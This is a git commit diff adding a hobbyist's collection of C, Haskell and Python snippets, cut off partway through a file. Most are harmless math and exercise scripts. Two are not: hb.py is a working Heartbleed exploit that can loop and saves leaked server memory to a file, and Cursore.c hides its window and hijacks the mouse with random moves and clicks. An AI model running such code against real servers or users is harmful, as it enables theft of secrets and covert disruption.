commit 148da2f1403411f9d01ba41473d36ad32a2fbd64 Author: rnhmjoj Date: Sun Aug 5 18:53:07 2018 +0200 initial commit diff --git a/c/Cursore.c b/c/Cursore.c new file mode 100644 index 0000000..d7c73e1 --- /dev/null +++ b/c/Cursore.c @@ -0,0 +1,76 @@ +#include +#define _WIN32_WINNT 0x0403 +#include + +#define randomize() srand(time(NULL)) +#define random(x) rand()%x - rand()%x +#define PREMUTO -32767 //SHRT_MIN 16 bit + + +void nascondi(); +void click(); + +int main(){ + POINT cursore, temp; + nascondi(); + + //Aspetta 10s + Sleep(10*1000); + GetCursorPos(&cursore); + + //Aspetta che il cursore si muova + while(1){ + GetCursorPos(&temp); + if(temp.x != cursore.x || temp.y != cursore.y) + break; + Sleep(10); + } + + //Controlla il cursore + while(1){ + //Sposta + randomize(); + GetCursorPos(&cursore); + SetCursorPos(cursore.x+random(10), cursore.y+random(10)); + + //Click + if(!random(1000)){ + click(); + click(); + } + + //Ctrl+Alt+E per chiudere + if(GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState(VK_MENU)==PREMUTO && GetAsyncKeyState(69)==PREMUTO) + break; + Sleep(10); + } +} + +/* + * Nasconde la finestra dell'applicazione + */ +void nascondi(){ + HWND nascosta; + AllocConsole(); + nascosta = FindWindowA("ConsoleWindowClass", NULL); + ShowWindow(nascosta, 0); +} + +/* + * Simula la pressione e il rilascio del tasto sinisto + */ +void click(){ + INPUT input = {0}; + size_t dimensione = sizeof(INPUT); + + //Pressione + input.type = INPUT_MOUSE; + input.mi.dwFlags = MOUSEEVENTF_LEFTDOWN; + SendInput(1, &input, dimensione); + + //Rilascio + ZeroMemory(&input, dimensione); + input.type = INPUT_MOUSE; + input.mi.dwFlags = MOUSEEVENTF_LEFTUP; + SendInput(1, &input, dimensione); +} diff --git a/c/List.c b/c/List.c new file mode 100644 index 0000000..96a6178 --- /dev/null +++ b/c/List.c @@ -0,0 +1,220 @@ +#include +#include +#include +#include + +# define T double +# define Nil NULL + +#define NARGS_SEQ(_1,_2,_3,_4,_5,_6,_7,_8,N,...) N +#define NARGS(...) NARGS_SEQ(__VA_ARGS__, 8, 7, 6, 5, 4, 3, 2, 1) + +#define list(...) fromArray((T []){__VA_ARGS__}, NARGS(__VA_ARGS__)) +#define lambda(expr, type, args...) ({ type __fn__ (args){ return expr; }__fn__; }) + +// List datatype +typedef struct listT { + T head; + struct listT* tail; +}* list; + + +// String type alias +typedef char* string; + + +// Prototypes +list pure(T x); +list cons(T x, list xs); +list snoc(T x, list xs); + +list take(int k, list xs); +list drop(int k, list xs); + +T index_(list xs, int k); +T head(list xs); +T last(list xs); + +list head_(list xs); +list last_(list xs); +list tail(list xs); +list init(list xs); + +int length(list xs); + +list map(T (*f)(T), list xs); + +string show(list xs); +string show_(list xs); + +void putStrLn(string s); +void putStr(string s); +void print(list xs); + +list fromArray (T* xs, int n); +T* toArray(list xs); + + +// Create singleton list +list pure(T x) { + list p = malloc(sizeof (struct listT)); + p->head = x; + p->tail = Nil; + return p; +} + + +// Append an element before the list xs +list cons(T x, list xs) { + list p = malloc(sizeof (struct listT)); + p->head = x; + p->tail = xs; + return p; +} + + +// Reverse of "cons": append after the list +list snoc(T x, list xs) { + list ys = last_(xs); + ys->tail = pure(x); + return xs; +} + + +// Take the first k elements of xs +list take(int k, list xs) { + if (k == 0) + return xs; + return cons(xs->head, take(k-1, xs->tail)); +} + + +// Remove the first k elements of xs +list drop(int k, list xs) { + if (k == 0) + return xs; + return drop(k-1, xs->tail); +} + + +// Return the k-th element of the list xs +T index_(list xs, int k) { + if (k == 0) + return xs->head; + return drop(k-1, xs->tail)->head; +} + + +// Return the first element (head) of xs +T head(list xs) { + return xs->head; +} + + +// Return last element of the list +T last(list xs) { + return last_(xs)->head; +} + +list last_(list xs) { + if (xs->tail == Nil) + return xs; + return last_(xs->tail); +} + + +// Return every element of xs but the last one +list init(list xs) { + if (xs->tail->tail == Nil) + return xs; + return init(xs->tail); +} + + +// Return xs "tail": everything after its first element +list tail(list xs) { + return xs->tail; +} + + +// Compute the length of a list +int length(list xs) { + if (xs->tail == Nil) + return 1; + return 1 + length(xs->tail); +} + + +// Apply the function f on every element of xs +list map(T (*f)(T), list xs) { + if (xs->tail == Nil) + return pure((*f)(xs->head)); + return cons((*f)(xs->head), map(f, xs->tail)); +} + + +// Convert a C array (given its size) into a list +list fromArray (T* xs, int n) { + if (n == 1) + return pure(*xs); + return cons(*xs, fromArray(xs+1, n-1)); +} + + +// Convert a list into a standard C array +T* toArray(list xs) { + int n = length(xs); + T x, *p = malloc(n * sizeof(T)); + + for (int i=0; ihead); + + if (xs->tail == Nil) + return rep; + + strcat(rep, ","); + return strcat(rep, show_(xs->tail)); +} + + +// Print a string to stdout +void putStrLn(string s) { + printf("%s\n", s); +} + + +// Same as putStrLn without a terminating newline +void putStr(string s) { + printf("%s", s); +} + + +// Print a list to stdout +void print(list xs) { + putStrLn(show(xs)); +} + + +int main() { + list x = list(1, 2, 3, 4); + float (*f)(float) = lambda(sin(2*x)/x, float, float x); + print(map(f, x)); +} diff --git a/haskell/Dice.hs b/haskell/Dice.hs new file mode 100755 index 0000000..9d52b6b --- /dev/null +++ b/haskell/Dice.hs @@ -0,0 +1,25 @@ +#!/usr/bin/env nix-script +#!>haskell + +{- Mathematical way to convert a diceware number. -} + +import Data.List (elemIndex) + +-- | Convert a decimal numeral n into k-adic base system. +-- +-- \boldsymbol{A}_k(n) = \sum_{j=0}^{m-1} 10^j \ [1 + \delta_j \mod k] +-- where m = \bigl \lfloor \log_k [n(k-1)+1] \bigr \rfloor +-- \delta_j = \left \lfloor\frac{n(k-1)+1-k^m}{k^j(k-1)} \right \rfloor +a :: Int -> Int -> Int +a k n = sum [(1 + (d j) `mod` k) * 10^j | j <- [0..m-1]] + where + m = floor $ logBase k' (n'*(k'-1) + 1) + d j = (n*(k-1) + 1 - k^m) `div` ((k-1) * k^j) + (k', n') = (fromIntegral k, fromIntegral n) + +interact' :: (String -> String) -> IO () +interact' f = interact (unlines . map f . lines) + +main :: IO () +main = interact' (show . d . read) where + d = flip elemIndex $ map (a 6 . (+1555)) [0..7775] diff --git a/haskell/Eq.hs b/haskell/Eq.hs new file mode 100755 index 0000000..daab4d9 --- /dev/null +++ b/haskell/Eq.hs @@ -0,0 +1,105 @@ +#!/usr/bin/env nix-script +#!>haskell +#! haskell | attoparsec hmatrix + +{- Balance chemical reactions using linear algebra. -} + +{-# LANGUAGE OverloadedStrings #-} + +import Control.Applicative (many, (<|>)) +import Data.Function (on) +import Data.Maybe (fromMaybe) +import Data.List (groupBy, sort, nub) +import Data.Text (pack) +import Data.Attoparsec.Text +import Numeric.LinearAlgebra (Field, ident, inv, rank) +import Numeric.LinearAlgebra.Data + +type Atom = String +type Element = (Atom, Z) +type Compound = [Element] +type Reaction = ([Compound], [Compound]) + + +-- Parsers -- + +element :: Parser Element +element = do + atom <- ((++) <$> upper <*> lower) <|> upper + quantity <- option 1 decimal + return (atom, quantity) + where upper = charRange "A-Z" + lower = charRange "a-z" + +compound :: Parser Compound +compound = reduce <$> many element + +hand :: Parser [Compound] +hand = compound `sepBy` spaced "+" + +reaction :: Parser Reaction +reaction = (,) <$> (hand <* spaced "->") <*> hand + + +-- parser helpers -- + +-- | Parse while ignoring enclosing whitespace +spaced :: Parser a -> Parser () +spaced p = skipSpace >> p >> skipSpace + +-- | Create a parser from a characters range +charRange :: String -> Parser String +charRange = fmap pure . satisfy . inClass + + +-- stochiometrycal matrix -- + +-- | Reduce a 'Compound' to his empirical formula +reduce :: Compound -> Compound +reduce = map count . groupBy ((==) `on` fst) . sort + where count ((s,n):xs) = (,) s (n + sum (map snd xs)) + +-- | Find a vector basis for the reaction +basisFor :: Reaction -> [Atom] +basisFor = nub . map fst . concat . fst + +-- | Calculate the coordinats vector +coords :: [Atom] -> Compound -> Vector Z +coords basis v = fromList (map (flip count v) basis) + where count e = fromMaybe 0 . lookup e + +-- | Calculate stochoimetrical matrix +stoch :: Reaction -> Matrix Z +stoch r@(x, y) = fromColumns (a ++ b) + where col = coords (basisFor r) + a = map col x + b = map (negate . col) y + + +-- linear algebra -- + +-- | Find a base of Ker A +kernel :: Matrix Z -> Vector Z +kernel a = cmap (round . min) t + where a' = extend (fromZ a) :: Matrix R + t = toColumns (inv a') !! (cols a'-1) + min = (/ minimum (toList t)) + +-- | Extend a Matrix to a square +extend :: Field k => Matrix k -> Matrix k +extend a + | m == n = a + | otherwise = a === fromRows padd + where (m,n) = size a + id = ident n + padd = map (toColumns id !!) [rank a-1..m-1] + + +main :: IO () +main = do + input <- pack <$> prompt + case parseOnly reaction input of + Right react -> print (kernel $ stoch react) + Left err -> putStrLn ("Failed to parse: " ++ err) + main + where prompt = putStr "eq> " >> getLine diff --git a/haskell/Freqs.hs b/haskell/Freqs.hs new file mode 100755 index 0000000..60502d4 --- /dev/null +++ b/haskell/Freqs.hs @@ -0,0 +1,21 @@ +#!/usr/bin/env nix-script +#!>haskell + +{- Calculate words frequency. Use in a pipe. -} + +import Data.List +import Data.Ord (comparing) +import Data.Map (toList, fromListWith) + +freqs = sort' . toList . fromListWith (+) . map t + where + t x = (x, 1) + sort' = reverse . sortBy (comparing snd) + +pretty = intercalate "\n" . map line + where line (x, y) = x ++ ": " ++ show y + +best = filter ((>50) . snd) + +main = interact (pretty . freqs . words) + diff --git a/haskell/Gauss.hs b/haskell/Gauss.hs new file mode 100755 index 0000000..f0fd4e8 --- /dev/null +++ b/haskell/Gauss.hs @@ -0,0 +1,56 @@ +#!/usr/bin/env nix-script +#!>haskell +#! haskell | vector + +{- Solve a linear system by Gauss elimination. -} + +import Data.Vector (Vector, cons, snoc, empty) +import qualified Data.Vector as V + +type Matrix a = Vector (Vector a) + +decons :: Vector a -> (a, Vector a) +decons x = (V.head x, V.tail x) + +asList :: ([a] -> [b]) -> (Vector a -> Vector b) +asList f = V.fromList . f . V.toList + +fromLists :: [[a]] -> Matrix a +fromLists = V.fromList . map V.fromList + + +gauss :: (Eq a, Fractional a) => Matrix a -> Vector a -> Vector a +gauss a b = x + where b' = fmap pure b + a' = V.zipWith (V.++) a b' + x = resubstitute (triangular a') + + +triangular :: (Eq a, Fractional a) => Matrix a -> Matrix a +triangular m + | null m = empty + | otherwise = cons r (triangular rs') + where (r, rs) = decons (rotatePivot m) + rs' = fmap f rs + f bs + | (V.head bs) == 0 = V.drop 1 bs + | otherwise = V.drop 1 $ V.zipWith (-) (fmap (*c) bs) r + where c = (V.head r)/(V.head bs) + + +rotatePivot :: (Eq a, Fractional a) => Matrix a -> Matrix a +rotatePivot m + | (V.head r) /= 0 = m + | otherwise = rotatePivot (snoc rs r) + where (r,rs) = decons m + + +resubstitute :: (Num a, Fractional a) => Matrix a -> Vector a +resubstitute = V.reverse . f . V.reverse . fmap V.reverse + where f m + | null m = empty + | otherwise = cons x (f rs') + where (r,rs) = decons m + x = (V.head r)/(V.last r) + rs' = fmap (asList subUnknown) rs + subUnknown (a1:(a2:as')) = ((a1-x*a2):as') diff --git a/haskell/Miller-Rabin.hs b/haskell/Miller-Rabin.hs new file mode 100755 index 0000000..bd6338d --- /dev/null +++ b/haskell/Miller-Rabin.hs @@ -0,0 +1,58 @@ +#!/usr/bin/env nix-script +#!>haskell +#! haskell | mtl random + +import Control.Monad (replicateM) +import Control.Monad.State (State, state, evalState) +import System.Random (Random, StdGen, newStdGen, randomR) +import Data.List (genericLength) + + +-- Modular integral exponentiation +(^%) :: Integral a => a -> a -> a -> a +(^%) m b k = ex b k 1 where + ex a k s + | k == 0 = s + | k `mod` 2 == 0 = ex (a * a `mod` m) (k `div` 2) s + | otherwise = ex (a * a `mod` m) (k `div` 2) (s * a `mod` m) + + +-- Deconstruct an integral n into two +-- numbers d, r such as d*2^r = n +decons :: Integral a => a -> (a, a) +decons n = (exp quots, rest quots) + where + rest = head . dropWhile even + exp = genericLength . takeWhile even + quots = iterate (`quot` 2) n + + +-- Test a number given a witness +test :: Integer -> Integer -> Bool +test n a + | n < 2 || even n = False + | b0 == 1 || b0 == pred n = True + | otherwise = iter (tail b) + where + (r, d) = decons (pred n) + b0 = (n ^% a) d + b = take (fromIntegral r) (iterate (n ^% 2) b0) + iter [] = False + iter (x:xs) + | x == 1 = False + | x == pred n = True + | otherwise = iter xs + + +-- Check whether n is probably a prime number +-- with un uncertainty of 2^-k +isPrime :: Integer -> Int -> State StdGen Bool +isPrime n k = all (test n) <$> replicateM k a + where a = state (randomR (2, pred n)) + + +main :: IO () +main = do + gen <- newStdGen + let test n = evalState (isPrime n 64) gen + print (test 9917340299) diff --git a/haskell/exs/MU.hs b/haskell/exs/MU.hs new file mode 100755 index 0000000..92f1f99 --- /dev/null +++ b/haskell/exs/MU.hs @@ -0,0 +1,43 @@ +#!/usr/bin/env nix-script +#!>haskell +#! haskell | regex-compat random + +{- GEB exercise -} + +import Text.Regex +import Text.Printf +import System.Random + +type Theorem = String +type Rule = String + +choice :: [a] -> IO a +choice xs = (xs !!) <$> randomRIO (0, length xs - 1) + +step :: (Rule, Theorem) -> String +step = uncurry $ printf " -%s-> %s" + +derive :: Theorem -> IO [(Rule, Theorem)] +derive "M" = return [] +derive "MU" = return [] +derive t = do + (rule, name) <- choice rules + let next = rule t + if rule t /= t + then ((name, next) :) <$> derive next + else derive t + +axiom = "MI" + +transforms = + [ ("I$", "IU") + , ("M(.?)", "M\\1\\1") + , ("III", "U") + , ("UU", "") ] + +rules = zip (map make transforms) ["I", "II", "III", "IV"] where + make (a, b) = flip (subRegex $ mkRegex a) b + +main = do + proof <- concatMap step <$> derive axiom + putStrLn $ axiom ++ proof diff --git a/haskell/exs/Move.hs b/haskell/exs/Move.hs new file mode 100755 index 0000000..6be8116 --- /dev/null +++ b/haskell/exs/Move.hs @@ -0,0 +1,45 @@ +#!/usr/bin/env nix-script +#!>haskell + +{- Learn you a Haskell exercise -} + +import Control.Monad +import Data.List +import Data.Function + +type Pos = (Int, Int) + +chessboard = liftM2 (,) [1..8] [1..8] + +-- | Compose a monadic function with itself n times +compose :: Monad m => (a -> m a) -> Int -> a -> m a +compose n = foldr (<=<) return . flip replicate n + +-- | Calculate every possible next move +moves :: Pos -> [Pos] +moves (x, y) = filter (`elem` chessboard) + [ (x+2, y-1), (x+2, y+1) + , (x-2, y-1), (x-2, y+1) + , (x+1, y-2), (x+1, y+2) + , (x-1, y-2), (x-1, y+2) ] + +-- | Positions the knight can reach in `n` moves +reachIn :: Int -> Pos -> [Pos] +reachIn = compose moves + +-- | Test for a path between `start` and `end` in `n` moves +canReachIn :: Int -> Pos -> Pos -> Bool +canReachIn n start end = end `elem` reachIn n start + +-- | Pretty print for the chessboard +pprint = putStrLn . show' . groupBy (on (==) fst) where + show' = concatMap $ (++"\n") . intercalate " " . map show + +main = do + let + reached = nub $ reachIn 1 (1,2) + unreached = chessboard \\ reached + print (length reached) + pprint (sort reached) + print (length unreached) + pprint (sort unreached) diff --git a/haskell/exs/Prob.hs b/haskell/exs/Prob.hs new file mode 100755 index 0000000..b4a3f60 --- /dev/null +++ b/haskell/exs/Prob.hs @@ -0,0 +1,66 @@ +#!/usr/bin/env nix-script +#!>haskell + +{- Learn you a Haskell exercise -} + +module Data.Probability + ( Event, Prob + , flatten + , onProb + , sumCheck + , probs + , group + ) where + +import Data.Ratio +import Data.Function (on) +import Data.List (groupBy) +import Control.Monad (ap) +import Control.Applicative + + +type Event a = (Rational, a) +newtype Prob a = Prob { getProb :: [Event a] } + + +instance Show a => Show (Prob a) where + show (Prob xs) = show xs + +instance Functor Prob where + fmap f (Prob xs) = Prob $ map (fmap f) xs + +instance Applicative Prob where + pure = return + (<*>) = ap + +instance Monad Prob where + return x = Prob [(1, x)] + m >>= f = flatten $ f <$> m + fail _ = Prob [] + + +-- Flatten nested probabilities by one level +flatten :: Prob (Prob a) -> Prob a +flatten = onProb $ concat . map (uncurry multBy) + where multBy p = map (\(r,x) -> (p*r,x)) . getProb + + +-- Raise a function to work on the Prob newtype +onProb :: ([Event a] -> [Event b]) -> (Prob a -> Prob b) +onProb f = Prob . f . getProb + + +-- Get the probabily of every event +probs :: Prob a -> [Rational] +probs = map fst . getProb + + +-- Check whether the 1-norm of the probability is 1 +sumCheck :: Prob a -> Bool +sumCheck x = sum (probs x) == 1 + + +-- Group events with the same outcome +group :: Eq a => Prob a -> Prob a +group = onProb $ map head . groupBy ((==) `on` snd) + diff --git a/haskell/exs/Sort.hs b/haskell/exs/Sort.hs new file mode 100644 index 0000000..195215a --- /dev/null +++ b/haskell/exs/Sort.hs @@ -0,0 +1,22 @@ +msort :: Ord a => [a] -> [a] +msort [] = [] +msort [x] = [x] +msort x = merge (msort a) (msort b) + where (a,b) = splitAt (length x `div` 2) x + + +merge :: Ord a => [a] -> [a] -> [a] +merge x [] = x +merge [] y = y +merge (x:xs) (y:ys) + | x <= y = x : merge xs (y:ys) + | otherwise = y : merge ys (x:xs) + + +gcd' :: Int -> Int -> Int +gcd' 1 m = 1 +gcd' n 1 = 1 +gcd' n m + | n == m = n + | n > m = gcd' m (n-m) + | otherwise = gcd' n (m-n) diff --git a/python/array.py b/python/array.py new file mode 100755 index 0000000..1e7dfae --- /dev/null +++ b/python/array.py @@ -0,0 +1,33 @@ +#!/usr/bin/env nix-script +#!>python +#! python | pillow + +## Fun with PIL during boring lesson. Generate DNA microarray-like images. + +from PIL import Image +from threading import Thread +import math +import random + +def color(): + a = (random.randint(0, 255), random.randint(0, 255), 0) + b = (0, 0, 0) + return random.choice((a, b)) + +def draw(image, x, y, c, d, color): + for i in range(d): + for k in range(d): + if abs(complex(x+i, y+k) - complex(c[0], c[1])) <= d/3: + image.putpixel((x + i, y + k), color) + +def main(): + d = 16 + img = Image.new('RGB', (2528, 2528), '#000') + + for i in range(0, img.size[0], d): + for k in range(0, img.size[1], d): + Thread(draw(img, i, k, (i + d/2, k + d/2), d, color())).start() + img.show() + +if __name__ == '__main__': + main() diff --git a/python/base.py b/python/base.py new file mode 100644 index 0000000..4200c47 --- /dev/null +++ b/python/base.py @@ -0,0 +1,3 @@ +## Base conversion codegolf + +r,b=range,lambda n,k:n==0and'0'or b(n//k,k).lstrip('0')+map(chr,r(48,58)+r(65,91))[n%k] diff --git a/python/bohr.py b/python/bohr.py new file mode 100755 index 0000000..5efad20 --- /dev/null +++ b/python/bohr.py @@ -0,0 +1,108 @@ +#!/usr/bin/env nix-script +#!>python3 +#! python3 | sympy + +from sympy.physics.units import * +from sympy import symbols, solve, Eq, pi + +## +## Bohr model for the hydrogen atom +## + +# Constants +ε_0, e, m_e, h, c, π = symbols('ε_0 e m_e h c π') + +values = { + e : 1.602176565e-19 * C, + m_e: 9.10938291e-31 * kg, + h : planck, + ε_0: electric_constant, + c : speed_of_light, + π : pi } + +# Variables +v, r, λ, ν, n = symbols('v r λ v n') + + +## +## Electron velocity +## + +# Coulomb force is a centripetal force +F_c = m_e * v**2/r +F = 1/(4*π*ε_0) * e**2 / r**2 + +# Equate and solve for the velocity (taking the positive solution) +v = solve(Eq(F_c, F), v)[1] + + +## +## Energy levels +## + +# Total energy of the electron +U = -e**2 / (4*π * ε_0 * r) +K = m_e * v**2 / 2 +E = U + K + +# De Broglie wavelength of the electron +λ = h / (m_e*v) + +# Hypothesize the orbits are quantized +C_o = 2*π * r +C_q = n * λ + +# Solve for the radius +r_n = solve(Eq(C_o, C_q), r)[0] + +# Bohr radius is the radius of the first orbit +r_1 = r_n.subs(n, 1) + +# Substitute r_n in the energy equation +E_n = E.subs(r, r_n) + +# The ground state is lowest energy level +E_1 = E_n.subs(n, 1) + + +## +## Spectum of emission +## + +# Energy of the emitted photon from Planck–Einstein relation +λ = symbols('λ') +ν = c/λ +E_γ = h*ν + +# Energy radiated by the electron +# for n > m +E_n # initial state +E_m = E_n.subs(n, m) # final state +E = E_n - E_m + +# Equate and solve for λ +λ = solve(Eq(E_γ, E), λ)[0] + +# Find the inverse wavelength +λ_1 = 1/λ + +# Substitute the Rydberg constant +R_h = e**4 * m_e / (8 * c * ε_0**2 * h**3) +λ_1 = λ_1.subs(R_h, symbols('R_h')) + + +value = lambda x: x.subs(values).evalf(10) +results = ''' +Bohr radius: {r_1} ≈ {vr_1} +Ground state / Rydberg energy: {E_1} ≈ {vE_1} +Rydberg constant: {R_h} ≈ {vR_h} + +Energy of the nth level: E_n = {E_n} +Rydberg equation: 1/λ = {λ_1} +''' .format(vr_1=value(r_1), + vE_1=value(E_1), + vR_h=value(R_h), + **locals() + ).replace('**','^').replace('*', ' ') + +print(results) diff --git a/python/clap.py b/python/clap.py new file mode 100755 index 0000000..19096cf --- /dev/null +++ b/python/clap.py @@ -0,0 +1,28 @@ +#!/usr/bin/env nix-script +#!>python +#! python | pyaudio + +## Listen to claps from the microphone. + +import pyaudio, audioop + +settings = { + "format": pyaudio.paInt16, + "channels": 2, + "rate": 44100, + "input": True, + "frames_per_buffer": 1024 +} +audio = pyaudio.PyAudio() +stream = audio.open(**impostazioni) +chunk = int(impostazioni["rate"] * 0.025) + +while True: + noisy = 0 + for i in range(10): + block = stream.read(chunk) + if audioop.rms(block, 2) > 100: + noisy += 1 + if 3 <= noisy < 8: + print("clap") + diff --git a/python/ctypes.py b/python/ctypes.py new file mode 100755 index 0000000..591889b --- /dev/null +++ b/python/ctypes.py @@ -0,0 +1,15 @@ +#!/usr/bin/env nix-script +#!>python3 + +## Messing with literals + +import ctypes + +class A(ctypes.Structure): + _fields_ = [('ob_refcnt', ctypes.c_int64), + ('ob_type', ctypes.POINTER(None)), + ('ob_ival', ctypes.c_int64)] + +A.from_address(id(2)).ob_ival = 0 + +print(2 == 0) diff --git a/python/defaultobj.py b/python/defaultobj.py new file mode 100644 index 0000000..5914f20 --- /dev/null +++ b/python/defaultobj.py @@ -0,0 +1,13 @@ +## Defaultdict magic + +from collections import defaultdict + +defaultobj = lambda: type('defaultobj', (defaultdict,), { + '__getattr__': lambda self, x: self.__getitem__(x), + '__setattr__': lambda self, x, v: self.__setitem__(x, v) + })(defaultobj) + +names = defaultobj() +names.mammalia.primates.homo['H. Sapiens'] = 'Human being' + +print(names) diff --git a/python/echo.py b/python/echo.py new file mode 100644 index 0000000..4fbdb63 --- /dev/null +++ b/python/echo.py @@ -0,0 +1,11 @@ +## Single-expression echo server + +(lambda s=__import__('socket'), i=__import__('itertools'): + lambda port=9000, r=s.socket(s.AF_INET, s.SOCK_STREAM): + all(r.setsockopt(s.SOL_SOCKET, s.SO_REUSEADDR, 1), + r.bind(('', port)), + r.listen(5), + set(map(lambda c: + c[0].sendall(c[0].recv(1024)) and + c[0].close(), + (r.accept() for _ in i.count(1))))))()() diff --git a/python/fiera.py b/python/fiera.py new file mode 100644 index 0000000..535d15d --- /dev/null +++ b/python/fiera.py @@ -0,0 +1,31 @@ +## Alla fiera dell'est. (Versione sofisticata di 99 bottles of beer on the wall) + +ritornello = "Alla fiera dell'est, per due soldi, \ +un topolino mio padre comprò." +strofe = ["E venne {}{}", "{}{}{}{}{}"] +nomi = [ + ["topo", ["al ", "mercato ", "mio padre ", "comprò."]], + ["gatto", "si mangiò"], + ["cane", "morse"], + ["bastone", "picchiò"], + ["fuoco", "bruciò"], + ["acqua", "spense"], + ["toro", "bevve"], + ["macellaio", "uccise"], + ["Angelo della morte", "su"], + ["Signore", "sul"]] + +articolo = lambda x: "l'" if x in (5, 8) else "il " +congiunzione = lambda x: "" if x in (8, 9) else "che " +spazio = lambda x: "" if x == 9 else " " + +print(ritornello) +for i, nome in enumerate(nomi[1::]): + print(strofe[0].format(articolo(i + 1), nome[0]), end=" ") + for k in range(i + 1, 0, -1): + print(strofe[1].format( + congiunzione(k), nomi[k][1], + spazio(k), articolo(k - 1), + nomi[k - 1][0]), end=" ") + print(strofe[1].format(congiunzione(0), *nomi[0][1])) + print(ritornello) diff --git a/python/gencode.py b/python/gencode.py new file mode 100644 index 0000000..a3ea8a9 --- /dev/null +++ b/python/gencode.py @@ -0,0 +1,54 @@ +## Genetic code + +comp = { + "A": "T", + "T": "A", + "C": "G", + "G": "C", +} + +ammin = { + "ser": ("UCG", "UCA", "UCC", "AGU", "UCU", "AGC"), + "leu": ("CUG", "CUA", "CUC", "CUU", "UUG", "UUA"), + "arg": ("AGG", "AGA", "CGU", "CGA", "CGG"), + "ala": ("GCA", "GCG", "GCC", "GCU"), + "gly": ("GGU", "GGG", "GGC", "GGA"), + "pro": ("CCC", "CCA", "CCU", "CCG"), + "thr": ("ACA", "ACC", "ACG", "ACU"), + "val": ("GUG", "GUA", "GUU", "GUC"), + "ile": ("AUC", "AUA", "AUU"), + "asn": ("AAU", "AAC"), + "asp": ("GAC", "GAU"), + "cys": ("UGC", "UGU"), + "gln": ("CAA", "CAG"), + "glu": ("GAA", "GAG"), + "his": ("CAU", "CAC"), + "lys": ("AAA", "AAG"), + "tyr": ("UAC", "UAU"), + "phe": ("UUC", "UUU"), + "trp": ("UGG",), + "stop": ("UAA", "UAG", "UGA"), +} +ammin = {c: a for a in ammin for c in ammin[a]} + + +def split(sequence): + return map("".join, zip(*[iter(sequence)] * 3)) + + +def cdna(sequence): + return (comp[base] for base in sequence) + + +def mrna(sequence): + return ("U" if base == "T" else base for base in sequence) + + +def trna(sequence): + return (ammin[codon] for codon in sequence) + +sequence = "ACCGATCGATTACGTATAGTATTTGCTATCATACATATATATCGATGCGTTCAT" +message = split(mrna(cdna(sequence))) +protein = trna(message) + +print(*protein) diff --git a/python/hb.py b/python/hb.py new file mode 100755 index 0000000..015f787 --- /dev/null +++ b/python/hb.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python3 + +## Flavored heartbleed test + +import socket +import struct +import select +import time +import re +import argparse + + +def hex2bin(x): + return bytes.fromhex(re.sub('\s', '', x)) + + +def format(s): + for i in zip(*[iter(s)] * 64): + if any(i): + for k in i: + if k in range(26, 128): + yield chr(k) + else: + yield '.' + yield '\n' + + +def recvall(s, length, timeout=5): + endtime = time.time() + timeout + rdata = b'' + remain = length + while remain > 0: + rtime = endtime - time.time() + if rtime < 0: + return None + r, w, e = select.select([s], [], [], 5) + if s in r: + data = s.recv(remain) + # EOF? + if not data: + return None + rdata += data + remain -= len(data) + return rdata + + +def recvmsg(s): + hdr = recvall(s, 5) + if hdr is None: + print('[Error] Unexpected EOF in header - server closed connection') + return (None,) * 3 + typ, ver, ln = struct.unpack('>BHH', hdr) + pay = recvall(s, ln, 10) + if pay is None: + print('[Error] Unexpected EOF in payload - server closed connection') + return (None,) * 3 + print('[Received message]', 'type:', typ, 'ver:', ver, 'length:', len(pay)) + return typ, ver, pay + + +def hit_hb(s): + s.send(hb) + while True: + typ, ver, pay = recvmsg(s) + if typ is None: + print('[Not vulnerable] No heartbeat response received.') + + if typ == 24: + print('Received heartbeat response:') + if len(pay) > 3: + print('[Vulnerable] Server is vulnerable.') + return format(pay) + else: + print('[Not vulnerable] Server did not return any extra data.') + + if typ == 21: + print('[Not vulnerable] Server returned error.') + return format(pay) + + +def main(): + parser = argparse.ArgumentParser( + description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') + parser.add_argument('hostname', help='Hostname, ip address.') + parser.add_argument( + '-p', '--port', + type=int, default=443, + help='TCP port to test (default: 443)') + parser.add_argument( + '-s', '--starttls', + action='store_true', default=False, + help='check STARTTLS') + parser.add_argument( + '-l', '--loop', + action='store_true', default=False, + help='keep sending heartbeats') + parser.add_argument( + '-r', '--regex', + type=str, default='', + help='results to extract') + args = parser.parse_args() + while True: + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + print('Connecting to %s...' % args.hostname) + s.connect((args.hostname, args.port)) + + if args.starttls: + rec = s.recv(4096) + s.send(b'ehlo starttlstest\n') + rec = s.recv(1024) + if b'STARTTLS' not in rec: + print('[Error] STARTTLS not supported.') + return + s.send(b'starttls\n') + rec = s.recv(1024) + + print('Sending Client Hello...') + s.send(hello) + print('Waiting for Server Hello...') + + while True: + typ, ver, pay = recvmsg(s) + if typ is None: + print('[Error] Server closed connection.') + return + # Look for server hello done message. + if typ == 22 and pay[0] == 0x0E: + break + + print('Sending heartbeat request...') + s.send(hb) + data = ''.join(hit_hb(s)) + + if data: + print('Received data:', data, sep="\n") + + if args.regex: + matches = re.compile(args.regex, re.DOTALL).findall(data) + with open('blood.txt', 'a') as file: + file.write('\n'.join(matches)) + + if not args.loop: + s.close() + break + except KeyboardInterrupt: + s.close() + return + +hello = hex2bin(''' + 16 03 02 00 dc 01 00 00 d8 03 02 53 + 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf + bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 + 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 + 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c + c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 + c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 + c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c + c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 + 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 + 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 + 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 + 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 + 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 + 00 0f 00 01 01''') + +hb = hex2bin(''' + 18 03 02 00 03 + 01 40 00''') + +if __name__ == '__main__': + main() diff --git a/python/led.py b/python/led.py new file mode 100755 index 0000000..69fb767 --- /dev/null +++ b/python/led.py @@ -0,0 +1,86 @@ +#!/usr/bin/env 